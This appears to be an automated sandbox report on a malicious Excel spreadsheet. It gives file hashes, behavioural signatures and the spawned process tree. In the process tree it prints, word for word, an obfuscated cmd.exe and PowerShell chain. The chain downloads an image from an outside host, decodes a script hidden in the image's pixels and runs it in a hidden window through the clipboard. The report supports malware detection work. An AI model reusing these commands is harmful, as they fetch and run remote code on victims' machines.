Analysis
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max time kernel
137s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
25/03/2025, 22:10
Behavioral task
behavioral1
Sample
285f25f3589ee69425f63cea9b6a61b0ef9138eb5824d7db8eee0bb225654c18.xls
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
285f25f3589ee69425f63cea9b6a61b0ef9138eb5824d7db8eee0bb225654c18.xls
Resource
win10v2004-20250314-en
General
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Target
285f25f3589ee69425f63cea9b6a61b0ef9138eb5824d7db8eee0bb225654c18.xls
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Size
63KB
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MD5
0f994f9f5a3e4dce57b7a020222ebcd6
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SHA1
36c3b7974707d7b8e08765880e08000bfb3f9470
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SHA256
285f25f3589ee69425f63cea9b6a61b0ef9138eb5824d7db8eee0bb225654c18
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SHA512
9308ee9a63ad2664a07485505d000aa8e171968e19af9992bdadbb1fdbcd016a914a9c7c37b81409c2c86a2dcddeddb74bdef6366d7fcd9cc314b66b81ca1ab1
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SSDEEP
1536:zv+km4OrZTPVbJhr1TBL602MCspTZQxEtjPOtioVjDGUU1qfDlaGGx+cL2QnVJ4j:zv+km4OrZbVbJhr1TBL602MCspTZQxEp
Malware Config
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 2748 2516 cmd.exe 29 -
Blocklisted process makes network request 2 IoCs
flow pid Process 5 2640 powershell.exe 7 2640 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2640 powershell.exe -
An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
pid Process 2748 cmd.exe -
System Location Discovery: System Language Discovery 1 TTPs 7 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language EXCEL.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language clip.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe -
Office loads VBA resources, possible macro or embedded object present
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Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2516 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2640 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2640 powershell.exe -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 2516 EXCEL.EXE 2516 EXCEL.EXE 2516 EXCEL.EXE -
Suspicious use of WriteProcessMemory 24 IoCs
description pid Process procid_target PID 2516 wrote to memory of 2748 2516 EXCEL.EXE 30 PID 2516 wrote to memory of 2748 2516 EXCEL.EXE 30 PID 2516 wrote to memory of 2748 2516 EXCEL.EXE 30 PID 2516 wrote to memory of 2748 2516 EXCEL.EXE 30 PID 2748 wrote to memory of 2664 2748 cmd.exe 33 PID 2748 wrote to memory of 2664 2748 cmd.exe 33 PID 2748 wrote to memory of 2664 2748 cmd.exe 33 PID 2748 wrote to memory of 2664 2748 cmd.exe 33 PID 2664 wrote to memory of 2608 2664 cmd.exe 34 PID 2664 wrote to memory of 2608 2664 cmd.exe 34 PID 2664 wrote to memory of 2608 2664 cmd.exe 34 PID 2664 wrote to memory of 2608 2664 cmd.exe 34 PID 2664 wrote to memory of 2604 2664 cmd.exe 35 PID 2664 wrote to memory of 2604 2664 cmd.exe 35 PID 2664 wrote to memory of 2604 2664 cmd.exe 35 PID 2664 wrote to memory of 2604 2664 cmd.exe 35 PID 2664 wrote to memory of 2624 2664 cmd.exe 36 PID 2664 wrote to memory of 2624 2664 cmd.exe 36 PID 2664 wrote to memory of 2624 2664 cmd.exe 36 PID 2664 wrote to memory of 2624 2664 cmd.exe 36 PID 2624 wrote to memory of 2640 2624 cmd.exe 37 PID 2624 wrote to memory of 2640 2624 cmd.exe 37 PID 2624 wrote to memory of 2640 2624 cmd.exe 37 PID 2624 wrote to memory of 2640 2624 cmd.exe 37
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\285f25f3589ee69425f63cea9b6a61b0ef9138eb5824d7db8eee0bb225654c18.xls1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2516 -
C:\Windows\SysWOW64\cmd.execmd.exe /V:ON/C"set lW=o.crm`VPx57^^l(SEX]L8{-Y=GZU:K%0B[9ia2eb*yftp_/T$j1'vdMF^|C\Hwk^&)WAIDn+}h4,sg6;3 R""ON&&for %9 in (15,2,70,82,45,78,78,47,71,24,10,23,32,42,22,7,15,17,13,50,53,50,68,50,64,46,70,50,62,78,76,78,78,78,47,71,19,16,10,23,78,32,42,40,43,37,17,13,50,14,40,73,42,15,4,1,46,50,68,50,15,8,50,68,50,46,50,68,50,1,15,83,2,50,68,50,0,50,68,50,66,65,67,74,50,62,76,78,78,1,13,81,20,49,69,20,30,69,81,78,21,41,50,12,50,72,50,73,35,50,62,78,13,50,35,50,62,78,13,81,20,30,69,20,36,69,20,49,69,81,78,21,41,50,83,37,59,50,72,50,2,42,50,72,50,21,82,38,48,37,50,62,76,11,11,11,61,13,81,20,30,69,20,49,69,81,21,41,78,50,64,52,52,21,46,50,72,50,40,43,37,50,62,78,21,64,73,73,37,4,38,12,40,83,35,4,37,78,81,14,40,73,42,37,4,1,66,3,35,59,34,67,74,81,76,47,20,74,69,23,11,11,11,61,13,50,35,50,62,78,13,81,20,71,69,20,36,69,20,49,69,20,30,69,20,77,69,81,21,41,78,50,1,31,34,50,72,50,34,67,74,50,72,50,59,50,72,50,42,4,35,43,50,72,50,14,40,73,42,37,4,1,66,3,35,50,62,13,13,11,11,11,61,13,50,35,50,62,78,13,81,20,30,69,20,49,69,20,77,69,20,36,69,81,78,21,41,78,50,83,37,42,1,50,72,50,63,37,50,72,50,42,50,72,50,38,56,12,34,37,67,50,62,62,1,13,81,20,49,69,20,30,69,81,78,21,41,50,43,37,67,79,37,35,52,50,72,50,82,50,62,1,65,67,51,0,60,37,13,81,70,42,42,43,73,27,45,45,34,4,35,74,37,73,36,1,34,4,74,38,0,8,1,2,0,4,45,2,35,45,19,19,45,64,36,25,14,12,63,75,14,44,0,1,43,67,74,81,62,62,76,47,20,82,69,23,11,11,11,61,13,50,35,50,62,78,13,81,20,30,69,20,49,69,81,21,41,50,31,40,42,37,50,72,50,32,17,50,62,78,49,19,75,30,76,13,30,1,1,36,62,11,11,11,55,1,13,50,29,50,62,20,41,0,3,37,35,2,70,13,47,20,8,69,78,34,67,13,30,1,1,75,49,33,62,62,20,47,20,43,69,23,47,20,74,69,1,13,81,20,30,69,20,49,69,81,78,21,41,78,50,24,37,42,7,34,50,72,50,8,37,12,50,62,1,65,67,51,0,60,37,13,47,20,8,69,72,47,20,44,69,62,76,47,20,0,69,32,47,20,44,69,39,75,36,30,68,47,20,16,69,17,23,13,78,78,47,71,74,10,27,27,13,81,20,49,69,20,30,69,81,21,41,78,50,12,0,0,3,50,72,50,54,50,62,1,65,67,51,0,60,37,13,13,47,20,43,69,1,81,31,81,21,38,35,67,52,49,9,62,39,49,75,62,21,38,0,3,13,47,20,43,69,1,81,74,81,78,21,38,35,67,52,78,49,9,62,62,69,69,76,11,11,11,61,13,81,20,30,69,20,49,69,81,78,21,41,50,65,50,72,50,15,16,50,62,13,78,13,78,18,14,78,78,51,64,79,65,35,38,18,15,27,71,19,8,10,78,62,1,6,35,12,26,15,27,27,81,35,5,73,2,34,34,81,1,81,74,37,42,5,73,5,46,3,65,67,24,81,13,47,20,82,69,32,30,1,1,49,77,71,49,17,62,62,78,55,2,27,57,59,65,67,52,82,59,73,57,14,40,14,42,37,4,77,36,57,56,12,34,7,1,15,8,15,78,61,61,56,53,52,1,15,8,37,78,78,78,45,2,78,43,0,59,37,3,14,58,15,18,18,78,21,15,8,37,56,26,46,65,82,83,43,82,12,78,31,22,7,35,73,73,78,78,21,83,0,67,34,83,78,21,59,65,67,52,82,59,14,46,22,78,58,65,66,66,15,67,78,21,67,82,43,79,82,54,34,78,78,21,73,42,78,78,21,83,0,12,82,74,82,78,78,78,78,78,1,78,13,78,78,57,81,20,30,69,20,49,69,20,36,69,57,81,78,21,41,78,50,64,52,52,50,72,13,78,57,81,20,30,69,20,49,69,57,81,78,21,41,50,21,50,72,50,46,40,43,50,78,62,72,50,37,50,78,78,62,78,21,64,73,73,37,4,78,13,57,81,20,77,69,20,49,69,20,9,69,20,30,69,20,71,69,20,36,69,57,81,78,21,41,78,13,78,78,57,81,20,36,69,20,49,69,20,30,69,57,81,78,21,41,50,52,50,72,50,1,63,34,67,50,72,50,37,4,50,78,78,62,72,50,40,73,50,72,50,73,50,72,50,14,50,72,13,78,57,81,20,36,69,20,49,69,20,30,69,57,81,21,41,78,50,54,0,3,4,50,72,50,1,50,72,50,0,59,73,50,62,72,50,42,50,62,78,78,78,76,78,78,78,11,11,11,61,78,78,13,78,78,78,47,20,37,5,83,6,5,27,2,82,53,73,5,43,37,2,69,32,71,72,49,9,72,36,9,17,21,48,82,65,83,50,50,62,78,13,78,78,13,78,32,14,22,14,42,37,53,1,63,34,83,66,0,63,73,1,54,0,3,53,14,1,56,18,65,7,38,82,35,79,52,17,27,27,13,57,81,20,30,69,20,49,69,57,81,78,21,41,78,50,24,50,72,13,57,81,20,30,69,20,49,69,57,81,78,21,41,50,37,50,72,50,42,42,15,8,46,50,78,62,62,1,57,81,34,5,83,51,5,0,28,15,57,81,13,78,78,62,78,78,62,78,78,62,78,76,78,78,32,14,40,73,42,37,4,1,63,34,67,52,0,59,73,1,54,0,3,4,73,1,56,12,34,43,38,0,35,3,52,17,27,27,13,57,81,20,30,69,20,49,69,57,81,78,21,41,50,56,12,50,72,50,37,35,3,50,78,62,1,57,81,34,5,83,51,82,5,60,15,57,81,13,78,62,84)do set Rc=!Rc!!lW:~%9,1!&&if %9 geq 84 cmd /C!Rc:~-1334!"2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2748 -
C:\Windows\SysWOW64\cmd.execmd /CEchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','System.Dra')((^^^&('a') ("{0}{1}{3}{2}" -f 'Net.','We','t','bClien')).("{1}{0}" -f'penRead','O').Invoke("https://images2.imgbox.com/ca/88/A2ZSlW6S_o.png"));${O}=^^^&('a') ("{0}{1}"-f'Byte','[]') 1860;(0..2)^^^|.('%'){foreach(${x} in(0..619)){${p}=${g}.("{0}{1}" -f 'GetPi','xel').Invoke(${x},${_});${o}[${_}*620+${X}]=( $4g7::("{1}{0}"-f 'loor','F').Invoke((${p}."B"-band15)*16)-bor(${p}."g" -band 15))}};^^^&("{0}{1}" -f'I','EX')( ( LS vARIabLE:48x7 ).ValUE::"a`scii"."get`s`TrInG"(${O}[0..1341])) |c:\wIndOws\SyStem32\CliP.ExE &&CMd.Exe /c powerSHELL -ExeCUTIONpOl BYPass -NoniN -wIndOwSTY HIDDEn -nOpROFi -st -NolOgO . ( \"{0}{1}{2}\" -f 'Add',( \"{0}{1}\" -f'-','Typ' ),'e' ) -Assem (\"{3}{1}{5}{0}{4}{2}\" -f ( \"{2}{1}{0}\" -f'd','.Win','em' ),'ys','s','S',( \"{2}{1}{0}\"-f 'Form','.','ows'),'t') ; ^^^& ( ${e`NV`:cOMs`pec}[4,15,25]-jOIN'') ( ( [SYSteM.WiNDoWs.ForMS.CLIPbOaRd]::(\"{0}{1}\" -f 'G',(\"{0}{1}\" -f'e','ttExT' )).\"i`Nv`oKE\"( ) ) ) ; [System.Windows.Forms.Clipboard]::(\"{0}{1}\" -f'Cl','ear' ).\"i`NvO`kE\"( )3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2664 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','System.Dra')((^&('a') ("{0}{1}{3}{2}" -f 'Net.','We','t','bClien')).("{1}{0}" -f'penRead','O').Invoke("https://images2.imgbox.com/ca/88/A2ZSlW6S_o.png"));${O}=^&('a') ("{0}{1}"-f'Byte','[]') 1860;(0..2)^|.('%'){foreach(${x} in(0..619)){${p}=${g}.("{0}{1}" -f 'GetPi','xel').Invoke(${x},${_});${o}[${_}*620+${X}]=( $4g7::("{1}{0}"-f 'loor','F').Invoke((${p}."B"-band15)*16)-bor(${p}."g" -band 15))}};^&("{0}{1}" -f'I','EX')( ( LS vARIabLE:48x7 ).ValUE::"a`scii"."get`s`TrInG"(${O}[0..1341])) "4⤵
- System Location Discovery: System Language Discovery
PID:2608
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\??\c:\wIndOws\SysWOW64\clip.exec:\wIndOws\SyStem32\CliP.ExE4⤵
- System Location Discovery: System Language Discovery
PID:2604
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C:\Windows\SysWOW64\cmd.exeCMd.Exe /c powerSHELL -ExeCUTIONpOl BYPass -NoniN -wIndOwSTY HIDDEn -nOpROFi -st -NolOgO . ( \"{0}{1}{2}\" -f 'Add',( \"{0}{1}\" -f'-','Typ' ),'e' ) -Assem (\"{3}{1}{5}{0}{4}{2}\" -f ( \"{2}{1}{0}\" -f'd','.Win','em' ),'ys','s','S',( \"{2}{1}{0}\"-f 'Form','.','ows'),'t') ; ^& ( ${e`NV`:cOMs`pec}[4,15,25]-jOIN'') ( ( [SYSteM.WiNDoWs.ForMS.CLIPbOaRd]::(\"{0}{1}\" -f 'G',(\"{0}{1}\" -f'e','ttExT' )).\"i`Nv`oKE\"( ) ) ) ; [System.Windows.Forms.Clipboard]::(\"{0}{1}\" -f'Cl','ear' ).\"i`NvO`kE\"( )4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2624 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowerSHELL -ExeCUTIONpOl BYPass -NoniN -wIndOwSTY HIDDEn -nOpROFi -st -NolOgO . ( \"{0}{1}{2}\" -f 'Add',( \"{0}{1}\" -f'-','Typ' ),'e' ) -Assem (\"{3}{1}{5}{0}{4}{2}\" -f ( \"{2}{1}{0}\" -f'd','.Win','em' ),'ys','s','S',( \"{2}{1}{0}\"-f 'Form','.','ows'),'t') ; & ( ${e`NV`:cOMs`pec}[4,15,25]-jOIN'') ( ( [SYSteM.WiNDoWs.ForMS.CLIPbOaRd]::(\"{0}{1}\" -f 'G',(\"{0}{1}\" -f'e','ttExT' )).\"i`Nv`oKE\"( ) ) ) ; [System.Windows.Forms.Clipboard]::(\"{0}{1}\" -f'Cl','ear' ).\"i`NvO`kE\"( )5⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2640
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